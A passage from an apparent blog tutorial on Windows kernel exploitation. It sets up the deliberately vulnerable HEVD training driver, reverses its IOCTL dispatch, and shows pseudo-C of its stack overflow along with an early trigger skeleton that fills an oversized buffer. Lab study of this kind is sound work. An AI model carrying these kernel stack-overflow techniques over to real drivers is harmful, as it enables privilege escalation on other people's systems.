kernel. The previous posts introduced respectively how to painlessly setup a
Windows exploit lab, then how to create a custom shellcode for the kernel to
execute.&lt;&#x2F;p&gt;
&lt;p&gt;So now we need vulnerabilities to get control of the program counter (RIP since
we only focus on x64). For that, we’ll use the most awesome &lt;strong&gt;Extremely
Vulnerable Driver&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;setup&quot;&gt;Setup&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hacksysteam&#x2F;HackSysExtremeVulnerableDriver&quot;&gt;HackSys Extremely Vulnerable Driver&lt;&#x2F;a&gt; is
a Windows driver for x86 and x64 created by
the HackSys Team (huge props!). Once injected
into Windows, this driver purposely offers several types of vulnerabilities, to
help us practice on them and&#x2F;or assist us developing new exploitation techniques.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;on-the-windows-8-1-x64-debuggee-vm&quot;&gt;On the Windows 8.1 x64 debuggee VM&lt;&#x2F;h2&gt;
&lt;p&gt;Download and unzip in the Windows 8.1 x64 debuggee VM:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.osronline.com&#x2F;article.cfm?article=157&quot;&gt;OSR Driver Loader&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hacksysteam&#x2F;HackSysExtremeVulnerableDriver&#x2F;releases&#x2F;download&#x2F;v1.20&#x2F;HEVD.1.20.zip&quot;&gt;HackSys Extremely Vulnerable Driver&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Then simply run the &lt;code&gt;OSR Driver Loader&lt;&#x2F;code&gt; and register the AMD64 version of
&lt;code&gt;HEVD.sys&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;register-hevd.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;register-hevd.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;You can then start the service.&lt;&#x2F;p&gt;
&lt;p&gt;But what about the kernel driver signing policy you may ask from Windows Vista
and up? Good point: well in Debug mode, unless
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;install&#x2F;installing-an-unsigned-driver-during-development-and-test#a-href-idenforcing-kernel-mode-signature-verification-in-kernel-debugging-modea-enforcing-kernel-mode-signature-verification-in-kernel-debugging-mode&quot;&gt;explicitly stated otherwise via the registry&lt;&#x2F;a&gt;
the MSDN states that&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Attaching an active kernel debugger to a development or test computer disables
load-time signature enforcement for kernel-mode drivers.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So we’re good here, let’s proceed…&lt;&#x2F;p&gt;
&lt;h2 id=&quot;on-the-windows-debugger-vm&quot;&gt;On the Windows debugger VM&lt;&#x2F;h2&gt;
&lt;p&gt;The AMD64 directory of HEVD contains the PDB symbols that WinDbg
will use for extra information, so copy this PDB into a &lt;code&gt;hevd.pdb&lt;&#x2F;code&gt; directory
located within one of the path defined in the &lt;code&gt;_NT_SYMBOL_PATH&lt;&#x2F;code&gt; environment
variable. For example like this (you might need to adjust to your own
configuration):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;C:&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;set &lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;find &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;_NT_SYMBOL_PATH&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;_NT_SYMBOL_PATH=SRV*C:\symbols*http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols;
&lt;&#x2F;span&gt;&lt;span&gt;C:&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span&gt; C:\symbols\hevd.pdb
&lt;&#x2F;span&gt;&lt;span&gt;C:&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span&gt; C:\syms\hevd.pdb\8F6551A1E31E4F65B536C8DCB40F999B1
&lt;&#x2F;span&gt;&lt;span&gt;C:&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;xcopy &lt;&#x2F;span&gt;&lt;span&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HOMEPATH&lt;&#x2F;span&gt;&lt;span&gt;%\Desktop\AMD64\*.pdb C:\symbols\hevd.pdb\8F6551A1E31E4F65B536C8DCB40F999B1
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can use WinDbg to check that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;the HEVD driver is properly loaded:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; lm m HEVD
&lt;&#x2F;span&gt;&lt;span&gt;start             end                 module name
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`c1e39000 fffff800`c1e42000   HEVD       (deferred)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;WinDbg can retrieve its symbols:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; .sympath
&lt;&#x2F;span&gt;&lt;span&gt;Symbol search path is: srv*c:\symbols*http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; x HEVD!*
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`c1e3c110 HEVD!g_UseAfterFreeObject = 0x00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`c1e3c108 HEVD!__security_cookie_complement = 0xffff07ff`3e1c34a0
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`c1e3b368 HEVD!$xdatasym = 0x01 &amp;#39;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`c1e3b388 HEVD!$xdatasym = 0x01 &amp;#39;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`c1e3c000 HEVD!HotPatchBuffer = struct _PATCH_BUFFER
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Last, you may overwrite the &lt;code&gt;nt!Kd_Default_Mask&lt;&#x2F;code&gt; to increase&#x2F;decrease Windows kernel
verbosity from WinDbg&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; ed nt!Kd_Default_Mask 0xf
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, my preferred approach is to edit the registry on the debuggee to always
print debug info. This can be done via the key
&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter&lt;&#x2F;code&gt; in an
Admin command prompt:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;C:&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;reg&lt;&#x2F;span&gt;&lt;span&gt; add &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;v DEFAULT &#x2F;t REG_DWORD &#x2F;d &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xf
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Quick tip&lt;&#x2F;strong&gt;: use &lt;code&gt;kd&lt;&#x2F;code&gt; command &lt;code&gt;!dbgprint&lt;&#x2F;code&gt; to navigate through the DbgPrint buffer.&lt;&#x2F;p&gt;
&lt;p&gt;We’re ready dive in!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;reverse-engineering-hevd-sys&quot;&gt;Reverse-Engineering HEVD.sys&lt;&#x2F;h1&gt;
&lt;p&gt;Although the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hacksysteam&#x2F;HackSysExtremeVulnerableDriver&#x2F;tree&#x2F;master&#x2F;Driver&quot;&gt;source code&lt;&#x2F;a&gt; of
the entire driver is freely accessible, going black-box reversing (i.e. without
any source code) is a good practice for real-life bug hunting. Moreover, the
driver is well written, no obfuscation&#x2F;packing in place, and the symbols
are provided, to greatly improve the reversing process.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hunting-the-vulnerability&quot;&gt;Hunting the vulnerability&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;talking-to-the-hevd-driver&quot;&gt;Talking to the HEVD driver&lt;&#x2F;h3&gt;
&lt;p&gt;Any Windows driver must  define an entry point by which Windows can load
it. This is done with
the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;hardware&#x2F;ff544113(v=vs.85).aspx&quot;&gt;DriverEntry&lt;&#x2F;a&gt;
routine whose signature is as follow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;NTSTATUS &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;DriverEntry&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;  _In_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span&gt; _DRIVER_OBJECT *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DriverObject&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  _In_ PUNICODE_STRING       RegistryPath
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;WinDbg confirms that immediately:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; x HEVD!DriverEntry
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`c1e41008 HEVD!DriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By checking this function in IDA Pro, we spot immediately that the driver
creates a device called &lt;code&gt;\Device\HackSysExtremeVulnerableDriver&lt;&#x2F;code&gt; via the
routine
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;hardware&#x2F;ff548397(v=vs.85).aspx&quot;&gt;&lt;code&gt;IoCreateDevice&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;,
with a &lt;code&gt;DeviceType&lt;&#x2F;code&gt; set
as
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;kernel&#x2F;specifying-device-types&quot;&gt;&lt;code&gt;FILE_DEVICE_UNKNOWN&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; -
or 0x22.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-ida-driver-entry.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-ida-driver-entry.png&quot;

    

    
    title=&quot;DriverEntry in IDA&quot;
    alt=&quot;DriverEntry in IDA&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Then the &lt;code&gt;DriverObject&lt;&#x2F;code&gt; gets populated with the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;hardware&#x2F;ff544174(v=vs.85).aspx&quot;&gt;structure members&lt;&#x2F;a&gt; including functions
pointers, among which we find the IOCTL
handler, &lt;code&gt;IrpDeviceIoCtlHandler&lt;&#x2F;code&gt;. This function
dispatches &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Ioctl&quot;&gt;IOCTL&lt;&#x2F;a&gt; requests done
from user-land to the HEVD driver. Every IOCTL is uniquely identified by a specific code, and the handler will basically do a big &lt;code&gt;switch(dwIoControlCode){...}&lt;&#x2F;code&gt; to execute the corresponding code. IDA is capable of pulling out for us:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-ida-ioctl-1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-ida-ioctl-1.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;In this first exploitation, we want to reach the &lt;code&gt;StackOverflowIoctlHandler&lt;&#x2F;code&gt;, and
therefore need to send a
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;desktop&#x2F;aa363216(v=vs.85).aspx&quot;&gt;&lt;code&gt;DeviceIoControl()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; request with a code set to 0x222003.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: for this initial post, we’ll focus on the stack overflow vulnerability, but future posts may
cover the other vulnerabilities in the HEVD driver, for which we’ll only need to change the &lt;code&gt;dwIoControlCode&lt;&#x2F;code&gt; value in order to reach them.&lt;&#x2F;p&gt;
&lt;p&gt;So we know how to reach the driver and the targeted function, which would look
like (in pseudo-C):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;IOCTL_HEVD_STACK_OVERFLOW &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x222003
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;HANDLE hDevice = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CreateFileA&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HackSysExtremeVulnerableDriver&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, ...);
&lt;&#x2F;span&gt;&lt;span&gt;BOOL bResult = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DeviceIoControl&lt;&#x2F;span&gt;&lt;span&gt;(hDevice, IOCTL_HEVD_STACK_OVERFLOW,
&lt;&#x2F;span&gt;&lt;span&gt;                               lpBufferIn, dwBufferInLength, ...);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;analyzing-the-vulnerability&quot;&gt;Analyzing the vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;We know how to reach &lt;code&gt;StackOverflowIoctlHandler()&lt;&#x2F;code&gt; from user-land, and pass in an
controlled buffer of an arbitrary size. Here is the &lt;code&gt;TriggerStackOverflow&lt;&#x2F;code&gt; function translated to pseudo-C:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;TriggerStackOverflow&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UserBuffer&lt;&#x2F;span&gt;&lt;span&gt;, uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Size&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; Dst[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2048&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ZeroMemory&lt;&#x2F;span&gt;&lt;span&gt;(Dst, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x800&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ProbeForRead&lt;&#x2F;span&gt;&lt;span&gt;(UserBuffer, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x800&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DbgPrint_0&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] UserBuffer: 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, UserBuffer);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DbgPrint_0&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] UserBuffer Size: 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%X&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, Size);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DbgPrint_0&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] KernelBuffer: 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;amp;Dst);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DbgPrint_0&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] KernelBuffer Size: 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%X&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x800&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DbgPrint_0&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] Triggering Stack Overflow&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RtlCopyMemory&lt;&#x2F;span&gt;&lt;span&gt;(Dst, UserBuffer, Size);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The code leaves no room for ambiguity about the vulnerability: we can overflow
the kernel stack by passing in a buffer of length &amp;gt; 0x800 bytes. Since the
buffer is read directly from user-land
(&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;hardware&#x2F;ff559876(v=vs.85).aspx&quot;&gt;&lt;code&gt;ProbeForRead&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;)
we have full control over it, which simplifies greatly the exploitation.&lt;&#x2F;p&gt;
&lt;p&gt;So the exploit code looks clearer:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;IOCTL_HEVD_STACK_OVERFLOW &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x222003
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;HANDLE hDevice = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CreateFileA&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HackSysExtremeVulnerableDriver&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, ...);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;LPVOID lpInBuffer = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;VirtualAlloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&lt;&#x2F;span&gt;&lt;span&gt;DWORD nInBufferSize = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x800 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x50&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ZeroMemory&lt;&#x2F;span&gt;&lt;span&gt;(lpInBuffer, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RtlFillMemory&lt;&#x2F;span&gt;&lt;span&gt;(lpInBuffer, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; for now, let&amp;#39;s just populate the stack with &amp;#39;A&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;BOOL bResult = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DeviceIoControl&lt;&#x2F;span&gt;&lt;span&gt;(hDevice, IOCTL_HEVD_STACK_OVERFLOW,
&lt;&#x2F;span&gt;&lt;span&gt;                               lpBufferIn, dwBufferInLength, ...);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And move on to the dynamic analysis…&lt;&#x2F;p&gt;
&lt;h1 id=&quot;dynamic-analysis&quot;&gt;Dynamic analysis&lt;&#x2F;h1&gt;
